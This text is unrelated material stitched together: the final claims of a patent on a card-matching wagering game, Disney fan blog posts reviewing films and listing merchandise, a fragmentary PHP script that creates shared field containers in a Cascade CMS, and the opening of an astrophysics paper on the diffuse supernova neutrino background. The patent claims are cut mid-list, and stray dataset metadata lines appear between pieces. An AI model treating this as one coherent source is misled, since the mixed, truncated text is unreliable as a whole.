5. The method of claim 4, wherein one of the displayed suit and value combinations matches the playing card suit and value combination of one of the displayed playing cards of the initial hand when: (a) the suit of said displayed suit and value combination and the suit of the playing card suit and value combination of said displayed playing card are the same, and (b) the value of said displayed suit and value combination and the value of the playing card suit and value combination of said displayed playing card are the same.
6. The method of claim 4, which includes providing (d)(i) to (d)(iv) if an additional wager is received and not providing (d)(i) to (d)(iv) if the additional wager is not received.
7. The method of claim 4, which is provided through a data network.
(l) if an actuation of a cashout button is received, initiate a payout associated with the credit balance.
10. The gaming system of claim 9, wherein one of the displayed suit and value combinations matches the playing card suit and value combination of one of the displayed playing cards of the initial hand when: (a) the suit of said displayed suit and value combination and the suit of the playing card suit and value combination of said displayed playing card are the same, and (b) the value of said displayed suit and value combination and the value of the playing card suit and value combination of said displayed playing card are the same.
11. The gaming system of claim 9, wherein the plurality of instructions, when executed by the at least one processor, cause the at least one processor to operate with the at least one display device and the at least one input device to: (1) provide (d) to (f) if an additional wager is received, and (2) not provide (d) to (f) if the additional wager is not received.
(l) if an actuation of a cashout button is received, causing the at least one processor to execute the plurality of instructions to initiate a payout associated with the credit balance.
13. The method of claim 12, wherein one of the displayed suit and value combinations matches the playing card suit and value combination of one of the displayed playing cards of the initial hand when: (a) the suit of said displayed suit and value combination and the suit of the playing cad suit and value combination of said displayed playing card are the same, and (b) the value of said displayed suit and value combination and the value of the playing cad suit and value combination of said displayed playing card are the same.
14. The method of claim 12, which includes providing (d) to (f) if an additional wager is received, and not providing (d) to (f) if the additional wager is not received.
15. The method of claim 12, which is provided through a data network.
(j) if an actuation of the cashout button is received, initiate the payout. | {
"redpajama_set_name": "RedPajamaC4"
} | 5,234 |
Into the Unknown: Making "Frozen II"
Yes, the wind blows a little bit colder, and we're all getting older, and the clouds are moving on with every Autumn breeze.
It's the first anniversary of Frozen II. This time last year, the much-anticipated sequel to the hit Disney film based on the classic Snow Queen story premiered in cinemas worldwide, inviting us to follow our favorite Arendelle sisters Elsa and Anna as they journey "into the unknown", entering the Enchanted Forest beyond their kingdom by way of a mysterious call from afar with Kristoff, Olaf and Sven joining them.
Digital streaming service Disney+ has recently released Into the Unknown: Making Frozen II, a six-episode documentary series that highlights the behind-the-scenes process of the movie at the Walt Disney Animation Studios. We get to witness directors Jennifer Lee and Chris Buck offer their insights and notes at every production meeting while also gain access to interviews with the mega talented team of animators in addition to watching stars Idina Menzel, Kristen Bell, Josh Gad and Jonathan Groff lay down their vocals and hit songwriters Kristen Anderson-Lopez and Robert Lopez craft new music that has the same if not bigger impact than the original movie.
For dedicated fans of the franchise, this documentary is definitely a treat and packed with rich information about how Frozen II came to be. It covers everything from pre-production to the premiere.
"The Lion King" 2019: A Vehicle for Billy Eichner
This year marks the 25th anniversary of Disney's timeless hit The Lion King, and the new live action version is now roaring at cinemas worldwide. With all the remakes of classics that have turned into an ongoing trend, is The Lion King 2019 worth your money, especially when the 1994 original that impressed 5 year-old me the first time I watched it in the theater is still a box office king?
As a massive The Lion King fan who has dedicated my time to devouring the entire trilogy countless times, drawing fanart, writing fanfics and collecting tons of merch, I was one of those viewers who initially doubted this remake but later found it surprisingly fresh, stunning and compelling. Simba and friends are definitely worth revisiting in CGI format thanks to director Jon Favreau and his vision to use technology to create real talking animals with stunning African shots. The key is to treat this new, updated film as an additional version that complements the original, just like the theater production that has become a Broadway sensation it even has international tours.
Plot wise, The Lion King 2019 bears a closer resemblance to Hamlet, the Shakespearan tragedy that inspired the 1994 movie, with Scar's murderous nature being shown since his very first scene. Such a commanding acting by Chiwetel Ejiofor. He can easily hold his own against the great James Earl Jones, who makes a grand comeback as King Mufasa. The design for Scar also enhances his villainous quality, giving him that dangerous look from the get go.
I never thought I'd be saying this, but I'm super impressed by the new voice cast. To me, these names are as great as the original. Donald Glover makes the perfect Simba, and both his line deliveries and singing voice are pure magic. He has demonstrated his acting prowess with his roles in Atlanta, Solo (my personal favorite) and many other prominent projects, so I'm definitely all for him as Simba. Beyonce as my top favorite character Nala is another inspired casting, and I completely understand why she got picked – she is fierce and daring like Nala is. Alfre Woodard makes a wonderful Sarabi. Very commanding and queenly. I appreciate the extended scenes Sarabi was given. Her interactions with Scar during his reign at Pride Rock provided some backstory elements that we didn't get to see much in the original version. John Oliver as Zazu is as entertaining as the marvelous Rowan Atkinson.
The biggest surprise of the movie for me and many others on social media is the casting of Billy Eichner and Seth Rogen as the iconic meerkat and warthog duo Timon and Pumbaa. In my opinion, both are the best Disney duo to have ever existed and my personal favorites. Nathan Lane and Ernie Sabella will always be irreplaceable, and I've been obsessed with them ever since, but Billy and Seth have proven that they're equally fantastic, and together they create compelling comedy. I've seen a lot of Billy's works on TV, but Timon is his best role to date, and I honestly think The Lion King should be a vehicle for him to get even more film roles. The guy is hilarious but also charismatic. He even has Oscar buzz! Plus his singing voice is really stunning he should sing in more movies or even make an album. Note to Disney: can we have both The Lion King 1/2 and Simba's Pride turned into remakes? We want the entire trilogy. And on top of that, it's about time we get a new Timon and Pumbaa TV series. More Billy and Seth, please. I love how closer to the actual African animals the CGI characters are in terms of movement and behavior. Timon mostly uses his four legs to walk compared to the original animation, and that is super adorable to see.
All in all, The Lion King is a majestic cinematic treat and captures the regal quality of the original 1994 film. By far Disney's best live action remake along with Aladdin. Get your tickets now and be transported back to Africa to witness the universe of Pride Rock in an all-new way.
Photo Credits: Walt Disney Studios
Mornings are made for breakfast.
Starting this January, I've made it a habit to rise out of bed by the time the clock strikes 6 if only for the inviting aroma of bread and butter (it's more of a personal challenge, actually) and so far, I've been successful. But no matter what delicacies you start your AM with – croissants, English breakfast tea, muffins, orange juice, buttermilk pancakes with maple syrup, grilled tomatoes, beef sausages, et cetera – light, playful tunes are bound to excite you and set you up for the day.
Let music be a savory treat for your ears. So pick a morning soundtrack and eat, listen and be jolly. No time to assemble your track list? Here are whimsical ideas you can steal for a relaxing musical breakfast. Mix them with your own for a personalized morning playlist.
""Jolly Holiday" – Julie Andrews and Dick Van Dyke (from Mary Poppins)
"It's a Good Day" – Peggy Lee
"Good Morning" – Debbie Reynolds, Gene Kelly and Donald O'Connor (from Singin' in the Rain)
"Isn't This a Lovely Day" – Ella Fitzgerald
"Boy in a Rock N Roll Band" – The Pierces
"Frim Fram Sauce" – Diana Krall
"Chasing Pirates" – Norah Jones
"Lulu's Pie Song" – Sara Bareilles (from Waitress)
"It's a Wonderful World" – Joan Chamorro, Andrea Motis, Bobby Gordon & Sant Andreu Jazz Band
"Mona Lisa" – Nat King Cole
"Another Day of Sun" – La La Land Cast (from La La Land)
"What a Difference a Day Makes" – Jamie Cullum
"A Wink and a Smile" – Harry Connick Jr. (from Sleepless in Seattle)
"Wonderful" – Idina Menzel and Joel Grey (from Wicked)
"In a World of My Own" – Kathryn Beaumont (from Alice in Wonderland)
"White Winter Hymnal" – Birdy
"City Love" – John Mayer
"Goody Goody" – Tony Bennett and Lady Gaga
"My Sugar is So Refined" – Johnny Mercer and the Pied Pipers
"A Spoonful of Sugar" – Julie Andrews (from Mary Poppins)
"Robin Hood" Merch
Oo-de-lally, oo-de-lally, golly what a day! Or year, in this case, for Robin Hood merchandises are finally making rounds in 2017.
Robin Hood is undoubtedly one of Disney's most underrated films. A fine treasure that not many of today's generation have watched besides me and a select few. Released in 1973, this classic envisions the tale of Robin Hood and his merry men with an all-star cast of animals as these iconic characters, giving the story a unique, whimsical flair while still capturing the essence of the original plot – stealing from the rich and giving back to the poor – and also the well-known setting of Nottingham, which is greatly animated, including the divine-looking woodland of Sherwood Forest. Robin Hood is a foxy hero, Little John makes a fun yet smart sidekick, Maid Marian is lovely and a kind soul, Prince John is 'the phony king of England', and Lady Kluck entertains me. This movie easily makes my Top 5 Disney list, and I'm more than thrilled that its merchandises are starting to be released.
Let's take a look at all the merry things available!
For the first time ever, the official Robin Hood soundtrack has been added to the Disney Legacy soundtrack collection and is now available to get on Amazon, the Disney Music store and other retailers.
The music of Robin Hood adds cinematic nuances to the film, and in a non-Disney fashion, stays true to the folky roots of the legend by keeping every musical number raw and country-ish with a deep storytelling focus. "Love" is one of the best love themes to have ever been penned (and should've been as well-known as the usual standards like "Beauty and the Beast" and "Can You Feel the Love Tonight"), and songs like "Oo-De-Lally" and "Not in Nottingham" have a distinctive country tone that are easy on the ears.
All the film tracks and instrumental scores can be found in the 2-disc soundtrack along with a few charming early demos.
FAIRYTALES & FOLKTALES MERCH
Stunningly crafted as part of the Disney Designer Collection – the Fairytales & Folktales series – Robin Hood and Maid Marian's timeless "Love" scene can be revisited in the form of an adorable coffee mug, limited edition figures finely displayed in a glass box, and a journal (sold individually and as part of the Disney Designer Collection journal set). There's literally only one word to associate them with: "Love"!
The UK Disney Store posted this photo on Instagram. Disney plush collectors would want to own these.
With a gorgeous little ornament like this one, your holiday season is bound to be merry. And bright!
Spot other fab Robin merch? Share your findings in the comments below and let all of Nottingham (and the entire Disney fandom) know. All together now… "Oo-de-lally, oo-de-lally, golly what a day"!
Photo Credits: Disney
"The Lion King" 2019 Film Cast
The circle of life will be revamped with an all-new cast for its 2019 cinematic version.
With The Lion King being Disney's top masterpiece, die-hard fans were opposed to any form of remake, but after the new cast reveal that include quality names like Donald Glover, James Earl Jones (in a reprising role as Mufasa), Billy Eichner, Seth Rogen, Alfre Woodard and Queen Beyonce Knowles as Nala, it's safe to say this remake would not only be promising but also strongly recapture Simba's story, vast African landscape and grand music.
As someone who has seen The Lion King over 80 times as a kid (and still a fan in my 20's), bought tickets to the Broadway production, learned a bit of Swahili, looked up more of Lebo M's musical works, and written fan fictions about it, I'm very open to this new interpretation of the Hamlet-based plot. It'd be thrilling to revisit Pride Rock and all its glory and to see the universe expand and reach a new generation. Now if only they'd feature some of the tracks used in the Broadway version like "Morning Report" and "Shadowland"…
Everyday They're Out There Making "DuckTales"! Woo Hoo!
Life is like a hurricane here in Duckburg as the all-new revamped Disney hit show DuckTales premieres its very first episode on Disney XD. Coinciding with the lyrics of the catchy theme song, the series rewrites history by retelling the adventures of Scrooge McDuck (Doctor Who star David Tennant) and company the way Carl Barks has written them in the original graphic novels.
Great family dynamics among Scrooge, the triplets Huey, Louie and Dewey, and Donald, who is rightfully a regular now instead of his usual guest-starring roles in the previous TV version. A badass, quirky and proactive Webby brings a fresh twist to the lovely female companion to the boys, thanks to Garfunkel & Oates's Kate Miccucci and her whimsically commanding voice. Plus classic Launchpad is back to crash the airplane as always.
Here are some of my favorite moments and reveals from the 1-hour pilot episode ("Woo Hoo!"), which functions like a standard TV drama:
Scrooge riding a dragon Game of Thrones style!
The city of Atlantis! It's definitely fascinating and the perfect way to start the series!
Huey, Louie and Dewey's individual personalities are more distinguishable here. Gotta love adventurous Dewey and him making up his own theme song during the bridge-crossing (PS. It turns out actor Ben Schwartz did an improv on that, and the song got put on the scene).
Donald being a responsible, caring uncle to the trio and also the voice of reason on the show. This sweet side of Donald is what I've been longing to see, just like in the comics. Adults will find the Scrooge-Donald interactions interesting.
Flintheart Glomgold making his first grand appearance. SPOILER alert: Donald ended up working for Glomgold not knowing he's Scrooge's sworn enemy 'til Scrooge found out about it.
The cliffhanger at the end courtesy of Dewey.
Overall, the first episode of DuckTales 2017 exceeds my expectations and delivers tons of unexpected surprises. Top-notch animation too with the promise of adventure, mystery, action, and lighthearted comedy. Kudos to Frank Angones, Matt Youngberg and their team for bringing it back in a massive way.
DuckTales is definitely not your typical Disney show. There's a grandness and cinematic quality to it that viewers of all ages can enjoy. It's like a treasure chest full of endless gold. So if you haven't already, come and join Uncle Scrooge, Donald, the boys, Webby, Launchpad and Mrs. Beakley on their exciting escapades! Who knows… you might solve a mystery!
Donald Duck's Birthday!
Disney ducks always kick butt and go on the most exciting adventures, but my ultimate favorite is the one and only Donald. So it's only fitting that a special dedication to him is made in honor of his birthday (and years of service in the Navy).
If you've been following the Carl Barks comics and TV shows like the original DuckTales and House of Mouse, it's very clear that Donald is way more than just that quacky guy with an uncontrollable temper. He comes across as genuine and is very much a team player, especially in stories where he, Mickey and Goofy are a trio. It's also shown in the comics that he'd go out of his way to make his darling Daisy happy while being a cool uncle for the triplets at the same time. And that performance he gave in The Three Musketeers film? Astounding, heartfelt and daring! From the original voice actor Clarence Nash to the current successor Tony Anselmo who Nash personally mentored, Donald's character continues to evolve and in a positive direction.
In The Three Musketeers.
Here's to more Donald in the new DuckTales that's set to premiere this summer on Disney XD! To celebrate his birthday, the team behind DuckTales presents a brand new short with Donald, Huey, Louie, Dewey, Webby and of course, the great Uncle Scrooge!
Hey, it's all fun in this duck family, right? Happy Birthday, Don!
Ariana Grande and John Legend's "Beauty and the Beast" Duet
Beauty and the Beast's theme has always been unforgettable, and now this song as old as time gets a modern update for the release of the new 2017 film by Disney. Filling in for Celine Dion and Peabo Bryson are Ariana Grande and John Legend, and this duo really do measure up to the original performers. Their soulful, powerhouse vocals make a fine, magical mix.
Listen to their version here and pre-order the new Beauty and the Beast soundtrack now to get an immediate download of the song:
"Beauty and the Beast" 2017 Official Trailer
An intelligent beauty. A cursed prince. A tale as old as time. We've been waiting for what seemed like an eternity for new promos related to Disney's live-action adaptation of its Academy Award-winning film Beauty and the Beast, and now they're finally out in the open.
Shortly after the debut of its first look image on the latest Entertainment Weekly issue, the 2017 movie's official trailer premiered yesterday that instantly made the world swoon with adoration. So much enchantment in one video!
With strong production and inspired casting (Emma Watson, Dan Stevens, Luke Evans, Ian McKellen, Ewan McGregor, Audra MacDonald, Josh Gad, Emma Thompson and Kevin Kline), I could tell Beauty and the Beast will make 2017 a magical, unforgettable year. | {
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<?php
require_once( 'auth_REST_SOAP.php' );
use cascade_ws_AOHS as aohs;
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use cascade_ws_utility as u;
use cascade_ws_exception as e;
try
{
$site_name = 'web-service-test';
$sf_container_name = 'Test Shared Field Container';
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if( is_null( $sf_container ) )
{
// create data definition container
$sf_container = $cascade->createSharedFieldContainer(
$cascade->getAsset(
a\SharedFieldContainer::TYPE, '/', $site_name ),
$sf_container_name
);
}
$sf_name = 'WYSIWYG';
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"<system-data-structure>
<text wysiwyg=\"true\" identifier=\"wysiwyg-content\"
label=\"Content\"/>
</system-data-structure>";
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{
// create a data definition for pages
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$sf_container,
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"<system-data-structure>
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{
// create a data definition for blocks
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catch( \Exception $e )
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}
?> | {
"redpajama_set_name": "RedPajamaGithub"
} | 2,199 |
\section{Introduction} \label{sec:intro}
When a massive star (above $\sim$9\,\ensuremath{\mathrm{M}_\sun}) ends its life with the collapse of the inner core to a neutron star (NS) or a black hole (BH), a tremendous amount of gravitational binding energy (several $\unit{10^{53}}{erg}$) is released, predominantly in the form of neutrinos and antineutrinos \citep[see, e.g.,][]{2012ARNPS..62..407J, 2017hsn..book.1575J, 2013RvMP...85..245B}. In 1987, when the blue supergiant Sanduleak -69$^\circ$ 202 \citep{1987ApJ...321L..41W} in the Large Magellanic Cloud exploded as supernova (SN) 1987A, such an associated neutrino burst was detected for the first (and so far only) time as a $\sim$10\,s long signal, however, with the sparse yield of only two dozen counts \citep{1987PhRvL..58.1490H, 1987PhRvL..58.1494B, 1988PhLB..205..209A}. Nowadays, the size of the neutrino observatories all over the world has grown significantly such that a galactic SN would lead to a high-statistics signal \citep[e.g.,][]{2007ApJ...669..519I, 2011A&A...535A.109A}, which the scientific community is eagerly waiting for.
While such a nearby SN is a rare event \citep{2006Natur.439...45D, 2007ApJ...669..519I, 2015ApJ...802...47A}, a vast number of massive stars already ended their lives in the cosmic history, generously radiating neutrinos. The integral flux from all those past core collapses at cosmological distances, which is steadily flooding Earth, constitutes the so-called diffuse supernova neutrino background (DSNB). It makes for a ``guaranteed'' (isotropic and stationary) signal of MeV neutrinos, comprising rich information on the entire population of stellar core collapses \citep[for dedicated reviews, see][]{2004NJPh....6..170A, 2010ARNPS..60..439B, 2016APh....79...49L, 2019arXiv191011878V}. Intriguingly, the Super-Kamiokande (SK) experiment set upper flux limits on the DSNB \citep{2003PhRvL..90f1101M, 2012PhRvD..85e2007B, 2015APh....60...41Z} which are already close to theoretical predictions. This indicates the excellent discovery prospect within the next decade in the gadolinium-loaded SK detector and the forthcoming JUNO experiment \citep[see, e.g.,][]{2004PhRvL..93q1101B, 2006PhRvC..74a5803Y, 2009PhRvD..79h3013H, 2016JPhG...43c0401A, 2017JCAP...11..031P, 2018JCAP...05..066M}, as well as, in the longer term, with the Hyper-Kamiokande detector \citep{2011arXiv1109.3262A}, with DUNE \citep{2015arXiv151206148D}, or with the proposed \textsc{Theia} detector \citep{2020EPJC...80..416A, 2020arXiv200714705S}.
To exploit the full potential of future observations, comprehensive theoretical models will be needed for comparison. First predictions of the DSNB date back to the 1980s and 1990s \citep[e.g.,][]{1982SvA....26..132B, 1984Natur.310..191K, 1997APh.....7..137H} and have been refined ever since. Its link to the cosmic history of star formation has been studied in detail \citep[e.g.,][]{2004ApJ...607...20A, 2005JCAP...04..017S, 2006ApJ...651..142H, 2014ApJ...790..115M, 2020RNAAS...4....4A, 2020arXiv200702951R}; and also the dependence on the SN source spectra, which will be in the focus of this paper, has been subject of intense research. For instance, \citet{2007PhRvD..75g3022L} took an analytical approach based on the work by \citet{2003ApJ...590..971K}, while \citet{2006APh....26..190L} and \citet{2007PhRvD..76h3007Y} employed constraints from the measured neutrinos from SN 1987A for their DSNB predictions. The impact of the SN shock revival time has been investigated \citep{2013PhRvD..88h3012N, 2015ApJ...804...75N}, as well as the effect of neutrino flavor conversions \citep{2003PhLB..559..113A, 2011PhLB..702..209C, 2012JCAP...07..012L}.
Particularly the contribution from BH-forming, failed explosions to the DSNB has caught much attention in recent years. It might significantly enhance the high-energy tail of the flux spectrum, which is most relevant for the detection \citep[e.g.,][]{2009PhRvL.102w1101L}. Several studies varied the (still unknown) fraction of failed SNe \citep{2009PhRvL.102w1101L, 2010PhRvD..81h3001L, 2012PhRvD..85d3011K, 2017JCAP...11..031P, 2018MNRAS.475.1363H, 2018JCAP...05..066M}; in this regard, \citet{2015ApJ...804...75N} and \citet{2015PhLB..751..413Y} further considered the cosmic evolution of stellar metallicities; and also the dependence on the high-density equation of state (EoS), which is closely related to the mass limit up to which a NS can be stabilized against its own gravity, has been explored tentatively \citep{2009PhRvL.102w1101L, 2012PhRvD..85d3011K, 2014ApJ...790..115M, 2015ApJ...804...75N, 2016ApJ...827...85H, 2018ApJ...869...31H, 2018MNRAS.475.1363H}.
Detailed neutrino signals from successful and failed SNe are the premise for reliable DSNB predictions. While most previous works employed rather approximate neutrino source spectra or spectra representative of some typical cases, numerical modeling of stellar core collapse has reached a high level of sophistication nowadays. An increasing number of three-dimensional (3D) simulations with detailed microphysics has become available \citep[e.g.,][]{2014ApJ...786...83T, 2014PhRvD..90d5032T, 2015ApJ...807L..31L, 2015ApJ...801L..24M, 2017MNRAS.472..491M, 2018ApJ...865...81O, 2018ApJ...855L...3O, 2018ApJ...852...28S, 2019MNRAS.485.3153B, 2019ApJ...873...45G, 2019MNRAS.482..351V, 2020ApJ...891...27M}. Nonetheless, high computational costs are still causing limitations. Up to now, only about twenty selected progenitors have been considered in 3D SN models, none of them evolved longer than roughly one second.
At the same time, it was shown that the outcome of a core-collapse event (successful explosion or BH formation) as well as the neutrino emission strongly depend on the progenitor structure, with large variations between different stars \citep{2011ApJ...730...70O, 2012ApJ...757...69U, 2014MNRAS.445L..99H, 2015PASJ...67..107N, 2015ApJ...801...90P, 2016ApJ...818..124E, 2016MNRAS.460..742M, 2016ApJ...821...38S, 2019ApJ...870....1E}. This has been neglected (or oversimplified) in most previous DSNB studies, which typically employed only a few exemplary models. Particularly the signals from BH-forming, failed SNe are strongly dependent on the progenitor-specific mass-accretion rate \citep{2009A&A...499....1F, 2011ApJ...730...70O}. Comprehensive sets of neutrino signals over the entire range of pre-SN stars are therefore required to adequately account for the diversity of stellar core collapse. In light of this, \citet{2018MNRAS.475.1363H} employed a set of 101 axisymmetric (2D) SN simulations and seven models of BH formation from spherically symmetric (1D) simulations, however with the need to extrapolate the neutrino signals at times later than $\sim$1\,s. Due to the limited number of their failed explosions, they (linearly) interpolated the spectral parameters of the time-integrated neutrino emission (total energetics, mean energy, and shape parameter) of their few BH simulations as a function of the ``progenitor compactness'' \citep{2011ApJ...730...70O} to account for a larger scope of failed SNe.
In this paper, we take a different angle of approach. Referring to the studies by \citet{2012ApJ...757...69U}, \citet{2016ApJ...821...38S}, and \citet{2016ApJ...818..124E, 2020ApJ...890...51E}, we use spherically symmetric simulations over a wide range of pre-SN stars exploded by means of a ``calibrated central neutrino engine''. In this way, our analysis of the DSNB is based on detailed information about the ``landscape'' of successful and failed explosions with individual neutrino signals for every progenitor, including cases of long-lasting mass accretion with relatively late BH formation. Using our large sets of (approximately calculated) long-time neutrino signals, which we cross-check by comparing and normalizing them to the outcome of more sophisticated simulations (see appendices), we aim at providing refined predictions of the DSNB. In a systematic parameter study, we further investigate the impact of three critical source properties on the DSNB flux spectrum: (1) We vary the fractions of successful and failed SNe through different calibrations of the neutrino engine used for the explosion modeling of our large progenitor set. (2) We consider different values for the critical mass at which the neutrino signals stop due to BH formation and follow the continued mass accretion of failed explosions. (3) We consider different spectral shapes of the neutrino emission based on the study by \citet{2003ApJ...590..971K}.
As in previous DSNB studies \citep[e.g.,][]{2014ApJ...790..115M, 2018MNRAS.475.1363H}, we also include the contribution from electron-capture SNe (ECSNe) of degenerate oxygen-neon-magnesium (ONeMg) cores \citep{1980PASJ...32..303M, 1984ApJ...277..791N, 1987ApJ...322..206N}, for which we employ the neutrino signals from \citet{2010PhRvL.104y1101H}. Moreover, we explore other possible channels for the formation of low-mass NSs, such as accretion-induced collapse \citep[AIC;][]{1990ApJ...353..159B, 1991ApJ...367L..19N, 2004ApJ...601.1058I, 2010MNRAS.402.1437H, 2016A&A...593A..72J, 2018RAA....18...36W, 2019MNRAS.484..698R} and merger-induced collapse \citep[MIC;][]{1985A&A...150L..21S, 2008MNRAS.386..553I, 2016MNRAS.463.3461S, 2019MNRAS.484..698R, 2018ApJ...869..140K} of white dwarfs (WDs), or ultra\-stripped SNe from close binaries \citep{1994Natur.371..227N, 2002MNRAS.331.1027D, 2013ApJ...778L..23T, 2015MNRAS.451.2123T, 2015MNRAS.454.3073S, 2018MNRAS.479.3675M}. Using simplified assumptions, we estimate the flux from such a combined ``low-mass component'' and comment on its relevance.
While stellar explosion models typically employ single-star progenitors thus far, recent observations suggest that most of the massive stars are in binary systems \citep[see, e.g.,][]{2009AJ....137.3358M, 2012Sci...337..444S}. In view of this we also investigate, for the first time, how the inclusion of binary models affects predictions of the DSNB using the helium-star progenitors from \citet{2019ApJ...878...49W} and the explosion models of \citet{2020ApJ...890...51E}.
The paper is organized as follows. In Section~\ref{sec:simulation_setup}, we describe the setup of our simulations and discuss the overall properties of the neutrino signals used in our study. Section~\ref{sec:DSNB_formulation} is dedicated to our approach of formulating the DSNB. We present our fiducial predictions in Section~\ref{sec:fiducial_model}. In Section~\ref{sec:parameter_study}, we discuss the results of our detailed parameter study: We investigate the sensitivity of the DSNB flux spectrum of electron antineutrinos to the fraction of failed explosions, the BH mass threshold, and the spectral shape of the neutrino emission. We further explore an additional contribution from low-mass NS-forming events (such as AIC, MIC, and ultra\-stripped SNe) and study the impact of including binary progenitors. In Section~\ref{sec:nue}, we briefly comment the DSNB flux spectrum of electron neutrinos. In Section~\ref{sec:uncertainties}, the effects of neutrino flavor conversions are discussed along with remaining uncertainties, followed by a comparison of our models with the SK-flux limits and with previous works (Section~\ref{sec:comparison}). In Section~\ref{sec:summary_uncertainties}, we categorize and rank the DSNB parameter variations and uncertainties considered in our work. We conclude in Section~\ref{sec:conclusions}. Supplementary material can be found in appendices.\\
\section{Simulation Setup and Neutrino Signals}\label{sec:simulation_setup}
In spherical symmetry, self-consistent SN explosions turned out to be possible only for a few low-mass stars \citep{2006A&A...450..345K, 2008A&A...485..199J, 2012PTEP.2012aA309J, 2010A&A...517A..80F, 2015ApJ...801L..24M, 2017ApJ...850...43R}. To still explore the outcome of stellar core collapse in 1D over a wide range of progenitor masses, we adopt the parametric approach of \citet{2016ApJ...818..124E}, where a ``calibrated neutrino engine'' is placed in the center of all pre-SN models. By these means, we obtain neutrino signals for a large set of individual stars, in satisfactory agreement with more sophisticated simulations and including cases of long-term accretion with late BH formation, as we will elaborate in this section. For more details on our computational setup, the reader is also referred to \citet{2012ApJ...757...69U}, \citet{2016ApJ...821...38S}, and \citet{2016ApJ...818..124E, 2020ApJ...890...51E}.
\subsection{Pre-SN Models}\label{subsec:pre-SN_models}
In this work, we use a combined set of 200 solar-metallicity progenitor models from \citet[``WH07'' and ``WH15'']{2007PhR...442..269W, 2015ApJ...810...34W} and \citet[``SW14'']{2014ApJ...783...10S}, which was already applied in \citet{2016ApJ...821...38S} and can be downloaded from the Garching Core-collapse Supernova Archive.\footnote{\url{https://wwwmpa.mpa-garching.mpg.de/ccsnarchive/data/SEWBJ_2015/index.html} (\url{http://doi.org/10.17617/1.b})} All models are non-rotating single stars, evolved with the \textsc{Kepler} code \citep{1978ApJ...225.1021W} up to the onset of iron-core collapse. The resulting grid of progenitors, unevenly distributed over the zero-age main sequence (ZAMS) mass interval of 9--120\,\ensuremath{\mathrm{M}_\sun}, spans the commonly assumed range of ``conventional'' iron-core collapse SNe (or BH-forming, failed SNe, respectively).
Below that, in the narrow band between $\unit{8.7}{\ensuremath{\mathrm{M}_\sun}}$ and $\unit{9}{\ensuremath{\mathrm{M}_\sun}}$, we additionally consider ECSNe of degenerate ONeMg cores as another channel for NS formation \citep{1980PASJ...32..303M, 1984ApJ...277..791N, 1987ApJ...322..206N}; yet it should be stressed that the exact mass range of ECSNe in the local universe is not finally clear according to current knowledge \citep[see, e.g.,][]{2008ApJ...675..614P, 2013ApJ...772..150J, 2015MNRAS.446.2599D, 2016A&A...593A..72J, 2019PhRvL.123z2701K, 2019ApJ...886...22Z, 2020ApJ...889...34L}. We employ a simulation by \citet[``model Sf'']{2010PhRvL.104y1101H} for the neutrino signal of such core-collapse events. The upper-mass end of the ZAMS mass grid is similarly uncertain and depends strongly on the physics of mass loss. However, as will be detailed in Section~\ref{subsec:IMF}, high-mass contributions are suppressed by the steeply declining initial mass function (IMF) and are therefore of subordinate importance for the DSNB. In Sections~\ref{subsec:dsnb_LM} and \ref{subsec:dsnb_binary}, we will further consider progenitors from binary systems. The helium-star models used in this context were published by \citet{2019ApJ...878...49W} and their explosions were investigated by \citet{2020ApJ...890...51E}.
\subsection{SN Simulations}\label{subsec:SN_simulations}
\begin{figure}[t!]
\includegraphics[width=\columnwidth]{fig1}
\caption{``Landscapes of explodability'' for our five different engine models (see main text for details). The ZAMS mass ranges of our three progenitor-model sets (WH15, SW14, and WH07) are indicated on the top of the figure. Successful SN explosions are marked in red, while black bars indicate the formation of a BH in a failed SN. From top to bottom, the IMF-weighted fraction of successful explosions decreases from 82.2\% (Z9.6\,\&\,S19.8) to 58.3\% (Z9.6\,\&\,W20); see Table~\ref{tab:explodability}. ECSNe are not shown in the plot.\label{fig:explodability}}
\end{figure}
Our stellar collapse and explosion simulations were performed with the \textsc{Prometheus-HotB} code \citep{1996A&A...306..167J, 2003A&A...408..621K, 2006A&A...457..963S, 2016ApJ...818..124E, 2020ApJ...890...51E}. The innermost $\unit{1.1}{\ensuremath{\mathrm{M}_\sun}}$ of the nascent proto-NS (PNS) were excised and replaced by a contracting inner-grid boundary and an analytic one-zone core-cooling model with tuneable parameters \citep[for the details, see][]{2012ApJ...757...69U}. This ``central neutrino engine'' was calibrated to yield explosions in agreement with the well studied cases of SN 1987A and the Crab SN (SN 1054). More specifically, for pre-SN stars with ZAMS masses above $\unit{12}{\ensuremath{\mathrm{M}_\sun}}$, which \citet{2016ApJ...821...38S} termed ``87A-like'', a PNS core model was applied and adjusted such that a given progenitor in the range of 15--20\,\ensuremath{\mathrm{M}_\sun}, namely S19.8, N20, W18, W15, or W20 \citep[as described in][]{2016ApJ...821...38S}, reproduced the observed explosion energy \citep[(1.2--1.5)$\times 10^{51}$\,erg;][]{1989ARA&A..27..629A, 2015A&A...581A..40U}, $^{56}$Ni yield \citep[$\sim$0.07\,\ensuremath{\mathrm{M}_\sun};][]{1991A&A...245..490B, 1992ApJ...384L..33S} and the basic neutrino-emission features \citep{1987PhRvL..58.1490H, 1987PhRvL..58.1494B} of SN 1987A. The low-mass end (9--12\,\ensuremath{\mathrm{M}_\sun}) was connected to the 87A-like cases by an interpolation of the core-model parameters. As a second anchor point, we used the progenitor z9.6 by A. Heger (2012, private communication), which explodes with low energy \citep[$\sim$10$^{50}$\,erg;][]{2012PTEP.2012aA309J, 2015ApJ...801L..24M} and a small $^{56}$Ni yield \citep[$\sim$0.0025\,\ensuremath{\mathrm{M}_\sun};][]{2018ApJ...852...40W} in self-consistent simulations, in good agreement with the observational constraints for the Crab SN \citep{2013MNRAS.434..102S, 2013ApJ...771L..12T, 2015ApJ...806..153Y}. For more details on our calibration procedure, the reader is referred to \citet{2016ApJ...821...38S}.
